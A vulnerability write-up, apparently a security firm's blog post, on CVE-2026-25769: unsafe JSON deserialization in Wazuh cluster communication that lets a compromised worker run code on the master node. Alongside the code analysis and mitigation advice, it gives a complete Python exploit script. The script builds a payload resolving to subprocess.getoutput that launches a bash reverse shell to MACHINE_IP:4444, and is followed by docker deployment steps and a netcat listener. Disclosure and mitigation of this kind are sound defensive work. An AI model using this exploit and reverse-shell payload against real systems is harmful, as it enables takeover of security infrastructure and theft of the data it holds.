CVE-2026-25769: Critical Remote Code Execution in Wazuh via Unsafe Deserialization
Vulnerability Assessment and Penetration Testing (VAPT)
Summary
This vulnerability in Wazuh’s cluster communication mechanism allows an attacker controlling a worker node to execute arbitrary code on the master node. The root cause lies in unsafe JSON deserialization using a custom object_hook, which permits user-controlled module imports and function execution.
Because the master node operates as the central authority, successful exploitation leads to full cluster compromise, making this a critical RCE vulnerability affecting Wazuh versions 4.0.0 through 4.14.2.
What is Wazuh?
Wazuh is a free and open-source security platform used for:
- Threat detection
- Security monitoring (SIEM)
- Intrusion detection (HIDS)
- Incident response
It collects and analyzes data from endpoints, servers, and cloud environments to detect malicious activity in real time.
Why Organizations Use Wazuh
1 - Threat Detection
Monitors logs and system activity to detect:
- Malware
- Intrusions
- Suspicious behavior
2 - Centralized Security Monitoring
Aggregates logs from:
- Servers
- Applications
- Endpoints
Provides a unified view of security events.
3 - Intrusion Detection
Detects:
- File integrity changes
- Unauthorized access
- Privilege escalation
4 - Automated Response
Can automatically:
- Block attackers
- Trigger alerts
- Execute response scripts
5 - Cloud & Compliance Support
Supports:
- Cloud platforms (AWS, Azure)
- Compliance standards (PCI-DSS, GDPR, HIPAA)
Why Wazuh is Important
- Acts as a central security hub
- Enables early threat detection
- Reduces response time
- Cost-effective (open-source)
- Widely used in enterprise environments
Wazuh Cluster Architecture
This diagram illustrates the standard cluster architecture of Wazuh, showing how the master and worker nodes interact in a secure and distributed environment.

1. Master Node (Central Controller)
The Master Node is the core component of the cluster.
Key Functions:
- Central Management: Controls the entire cluster
- Rule Distribution: Sends detection rules to workers
- Data Processing: Handles analysis and correlation of events
- API Services: Provides centralized interfaces (like DAPI)
It acts as the brain of the system, coordinating all operations.
2. Worker Nodes (Distributed Agents)
The Worker Nodes are multiple systems connected to the master.
Key Functions:
- Collect logs and security events from endpoints
- Perform initial processing
- Send requests and data to the master node
They act as data collectors and executors across the infrastructure.
3. Secure Communication Layer
All communication between nodes is protected.
Features:
- Uses Fernet symmetric encryption
- Shared key stored in: ossec.conf
- Ensures:
- Confidentiality (data is encrypted)
- Authentication (only trusted nodes can connect)
4. Network Communication (TCP Port 1516)
- Workers connect to the master over TCP port 1516
- This channel is used for:
- Sending logs
- API requests
- Cluster synchronization
It is the main communication pipeline in the cluster.
Vulnerable Code
Deserialization Hook
# framework/wazuh/core/cluster/common.py
from importlib import import_module
def as_wazuh_object(dct):
try:
if '__callable__' in dct:
encoded_callable = dct['__callable__']
funcname = encoded_callable['__name__']
if '__wazuh__' in encoded_callable:
wazuh = Wazuh()
return getattr(wazuh, funcname)
else:
qualname = encoded_callable['__qualname__'].split('.')
classname = qualname[0] if len(qualname) > 1 else None
module_path = encoded_callable['__module__'] # ❌ user-controlled
module = import_module(module_path) # ❌ arbitrary import
if classname is None:
return getattr(module, funcname) # ❌ arbitrary function
else:
return getattr(getattr(module, classname), funcname)
except Exception:
return dct
Execution Point
# framework/wazuh/core/cluster/dapi/dapi.py
# Deserialization
request = json.loads(request, object_hook=c_common.as_wazuh_object)
# Execution
data = f(**f_kwargs) # ❌ attacker-controlled function execution
Why This Is Vulnerable
1. User-Controlled Module Import
module = import_module(module_path)
- module_path comes directly from JSON input
- No validation or allowlist
- Attacker can import:
- os
- subprocess
- shutil
- any installed module
2. Arbitrary Function Resolution
getattr(module, funcname)
- Attacker selects any function inside the module
- Example:
- subprocess.getoutput
- os.system
3. Function Object Returned
return getattr(module, funcname)
- Instead of returning data → returns callable function
- This breaks the boundary between data and code
4. Direct Execution of Untrusted Function
data = f(**f_kwargs)
- f is attacker-controlled
- f_kwargs is attacker-controlled
- Executed with master node privileges
Root Cause
The root cause of this vulnerability is CWE-502, arising from unsafe handling of untrusted input during JSON deserialization in Wazuh.
Specifically, the Wazuh cluster communication mechanism uses a custom object_hook that:
- Accepts user-controlled JSON input
- Dynamically imports Python modules
- Resolves callable objects
- Returns executable functions instead of data
This effectively allows untrusted data to be transformed into executable code, violating the fundamental boundary between data and logic.
Additionally, the implementation lacks:
- Input validation
- Allowlisting of safe modules/functions
- Sandboxing or execution restrictions
Trust Model Failure
The vulnerability also highlights a critical architectural issue:
The trust model between master and worker nodes is overly permissive.
Wazuh assumes that:
- All worker nodes are fully trusted
- Data received from authenticated workers is safe to deserialize
This assumption becomes dangerous in real-world environments where:
- Worker nodes may be compromised
- Attackers may gain lateral access
- Insider threats or supply chain attacks exist
As a result, authentication is treated as a substitute for validation, which leads directly to exploitation.
Attack Chain

1. Compromised Worker Node
Attacker already controls a worker node
Can send arbitrary messages to master
send_to_master(malicious_payload)
The attacker gains control over a trusted worker node. Since workers are trusted inside the cluster, they can communicate directly with the master without additional validation.
2. Malicious JSON Payload
{
"__callable__": {
"__module__": "subprocess",
"__name__": "getoutput",
"__qualname__": "getoutput"
},
"f_kwargs": {
"cmd": "id"
}
}
The attacker crafts a JSON payload containing a __callable__ object that specifies which module and function to execute, along with arguments.
3. Payload Sent via Cluster Communication
import socket, json
sock.send(json.dumps(payload).encode())
The payload is sent from the worker to the master node over the cluster communication channel. The connection is encrypted, but the content is not validated.
4. Deserialization with object_hook
import json
request = json.loads(request, object_hook=as_wazuh_object)
The master deserializes the incoming JSON using a custom object_hook, which transforms JSON objects into Python objects.
5. Arbitrary Module Import
from importlib import import_module
module_path = encoded_callable['__module__'] # "subprocess"
module = import_module(module_path)
The system imports a Python module based on attacker-controlled input, without any validation or restrictions.
6. Arbitrary Function Resolution
funcname = encoded_callable['__name__'] # "getoutput"
f = getattr(module, funcname)
The code retrieves a function from the imported module. The attacker fully controls which function is selected.
7. Function Object Returned
return f
# f now equals subprocess.getoutput
Instead of returning safe data, the deserialization process returns a callable function object, turning data into executable code.
8. Execution of Function
f_kwargs = {"cmd": "id"}
data = f(**f_kwargs)
The function is executed with attacker-controlled arguments, directly triggering system-level commands.
9. Remote Code Execution (RCE)
import subprocess
subprocess.getoutput(cmd="id")
The final result is execution of arbitrary commands on the master node, typically with elevated privileges (root), leading to full system compromise.
Vulnerable Versions
The vulnerability affects the following versions of Wazuh:
Affected Range
- 4.0.0 → 4.14.2
Proof of Concept (PoC)
1- This section demonstrates how an attacker can achieve Remote Code Execution (RCE) on the Wazuh master node by abusing unsafe deserialization in cluster communication.
sudo docker exec master /var/ossec/bin/cluster_control -l

This command lists all nodes in the cluster (master and workers).
It confirms that the attacker-controlled worker node is connected and trusted.
Exploit script
#!/usr/bin/env python3
import sys, json, asyncio, importlib.util
def load_module(path):
spec = importlib.util.spec_from_file_location('m', path)
m = importlib.util.module_from_spec(spec)
spec.loader.exec_module(m)
return m
# Payload: Master will execute subprocess.getoutput(cmd="...")
PAYLOAD = {
"f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
"f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/MACHINE_IP/4444 0>&1'"},
"request_type": "local_master"
}
async def main():
lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
await lc.start()
print(f"Sending: {json.dumps(PAYLOAD)}")
await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())
print("Check the listener running on MACHINE_IP:4444 to confirm the shell")
asyncio.run(main())
Purpose of the Script
This script exploits unsafe deserialization in Wazuh (CVE-2026-25769) to:
Execute arbitrary commands on the master node
Establish a reverse shell back to the attacker
It leverages trusted cluster communication (DAPI) instead of external attack surfaces.
2. Code Breakdown
A. Dynamic Module Loader
def load_module(path):
spec = importlib.util.spec_from_file_location('m', path)
m = importlib.util.module_from_spec(spec)
spec.loader.exec_module(m)
return m
What it does:
- Loads a Python file directly from disk
- In this case:
/var/ossec/framework/wazuh/core/cluster/local_client.py
Why it's used:
- Avoids importing via standard Python paths
- Ensures access to Wazuh internal class (LocalClient)
B. Payload Construction
PAYLOAD = {
"f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
"f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/MACHINE_IP/4444 0>&1'"},
"request_type": "local_master"
}
Critical Part
This is the core exploit.
What happens on the master:
- JSON is parsed:
json.loads(..., object_hook=as_wazuh_object)
- __callable__ triggers:
import_module("subprocess")
getattr(module, "getoutput")
- Result:
f = subprocess.getoutput
- Then executed:
f(**f_kwargs)
Reverse Shell Command
bash -c 'bash -i >& /dev/tcp/MACHINE_IP/4444 0>&1'
Effect:
- Opens interactive shell from master → attacker
- Uses TCP redirection
- Fully interactive if successful
C. Why request_type: local_master Matters
"request_type": "local_master"
Purpose:
- Forces execution on the master node
- Bypasses worker-side handling
Without this:
- Payload may not reach execution point
D. Execution Flow
lc = load_module(...).LocalClient()
await lc.start()
await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())
What happens:
- LocalClient():
- Creates internal cluster client
- Trusted communication channel
- lc.start():
- Initializes connection to master
- execute():
- Sends payload via:
DAPI (Distributed API)
2 - Copies the exploit script into the compromised worker container.
sudo docker cp poc.py worker:/exploit/poc.py

3 - Execute Exploit from Worker
sudo docker exec worker /var/ossec/framework/python/bin/python3 /exploit/poc.py
4 - Start Listener
nc -nlvp 4444
Starts a Netcat listener to receive the reverse shell from the master node.
5 - Result – Reverse Shell
Once executed:
- The master processes the payload
- Deserializes it into subprocess.getoutput
- Executes the reverse shell command
- Connects back to the attacker

Impact
This vulnerability has critical impact on environments running Wazuh in cluster mode.
1- Remote Code Execution (RCE)
- Attackers can execute arbitrary commands on the master node
- No complex exploit required — only a crafted JSON payload
2- Root-Level Access
- Commands are executed with high privileges (often root)
- Gives full control over the underlying system
3- Full Cluster Compromise
- The master node controls:
- All worker nodes
- Security configurations
- Data processing
4- Lateral Movement
- Attackers can pivot from the master to:
- Other servers
- Internal services
- Connected infrastructure
5- Data Exfiltration
- Access to sensitive data such as:
- Security logs
- Credentials
- Configuration files
6- Security Monitoring Bypass
- Since Wazuh is a security platform:
- Attackers can disable detection rules
- Modify alerts
- Hide their activity
Mitigation
The primary fix is to upgrade Wazuh to version 4.14.3 or later, which introduces an allowlist to prevent arbitrary module imports during deserialization.
If an immediate upgrade is not possible, apply the following measures:
1. Upgrade to a Secure Version
- Update to Wazuh 4.14.3+
- This version restricts unsafe module imports in as_wazuh_object()
2. Restrict Network Access
- Limit access to TCP port 1516
- Allow only trusted worker IP addresses
- Block all unauthorized connections
3. Monitor Worker Node Integrity
- Continuously monitor worker nodes for compromise
- Detect:
- Unauthorized access
- Suspicious processes
- Treat workers as potential attack entry points
4. Network Segmentation
- Isolate master and worker nodes in separate network zones
- Apply strict firewall rules between them
- Reduce lateral movement risk
5. Rotate Cluster Keys
- Regularly rotate cluster encryption keys
- Immediately rotate keys after any suspected compromise
- Prevent unauthorized nodes from joining the cluster
6. Long-Term Hardening
- Apply least privilege to Wazuh services
- Enable audit logging for cluster communication
- Deploy file integrity monitoring on the master node
- Restrict access to LocalClient and internal APIs
Conclusion
CVE-2026-25769 highlights a fundamental security flaw where data is implicitly trusted and executed as code. In distributed systems like Wazuh clusters, trust between nodes becomes a critical weakness when not properly validated.
By allowing user-controlled input to dictate module imports and function execution, Wazuh unintentionally exposes its master node to complete compromise. Since the master orchestrates the entire security infrastructure, this vulnerability effectively turns a defensive system into an attack vector.
Immediate remediation is essential. Organizations must prioritize upgrading to a patched version and implementing strict network and node-level security controls. Long-term, this serves as a strong reminder to never mix deserialization with execution logic without strict validation or allowlisting.